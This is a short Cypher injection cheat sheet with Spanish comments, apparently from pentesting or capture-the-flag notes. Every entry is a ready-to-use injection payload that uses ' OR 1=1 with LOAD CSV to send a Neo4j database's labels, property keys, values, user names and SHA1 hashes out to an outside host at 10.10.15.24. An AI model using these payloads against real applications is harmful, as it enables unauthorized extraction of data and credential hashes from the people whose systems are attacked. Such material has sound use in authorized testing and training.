Cypher Injection
// 1. Extraer todas las etiquetas (Labels) en la base de datos
' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://10.10.15.24/?label='+label AS b RETURN b //
// 2. Extraer propiedades (Keys) de nodos para una etiqueta específica (ejemplo USER)
' OR 1=1 WITH 1 as a MATCH (n:USER) UNWIND keys(n) AS k LOAD CSV FROM 'http://10.10.15.24/?key='+k AS b RETURN b //
// 3. Extract Value from Key
' OR 1=1 WITH 1 as a MATCH (f:USER) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.15.24/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
// 4. Paginación: extraer valor en posición N (SKIP N, LIMIT 1) para evitar grandes volúmenes de datos
' OR 1=1 WITH 1 as a MATCH (n:USER) WITH n.name AS val SKIP <<N>> LIMIT 1 CALL { WITH val LOAD CSV FROM 'http://10.10.15.24/?user_name='+val AS b RETURN b } RETURN val //
// 5. Extraer valores de una propiedad específica para un nodo con filtro (ejemplo: nombre de usuario 'graphasm')
' OR 1=1 WITH 1 as a MATCH (u:USER {name:'graphasm'}) WITH u.name AS val LOAD CSV FROM 'http://10.10.15.24/?name='+val AS b RETURN b //
// 5. Extraer valor SHA1 relacionado con un usuario específico (suponiendo relación entre USER y SHA1)
' OR 1=1 WITH 1 as a MATCH (u:USER {name:'graphasm'})--(s:SHA1) WITH s.value AS val LOAD CSV FROM 'http://10.10.15.24/?sha1='+val AS b RETURN b //
// 6. Extraer propiedades de nodos sin etiqueta específica (todos los nodos)
' OR 1=1 WITH 1 as a MATCH (n) UNWIND keys(n) AS k LOAD CSV FROM 'http://10.10.15.24/?key_all='+k AS b RETURN b //
Last updated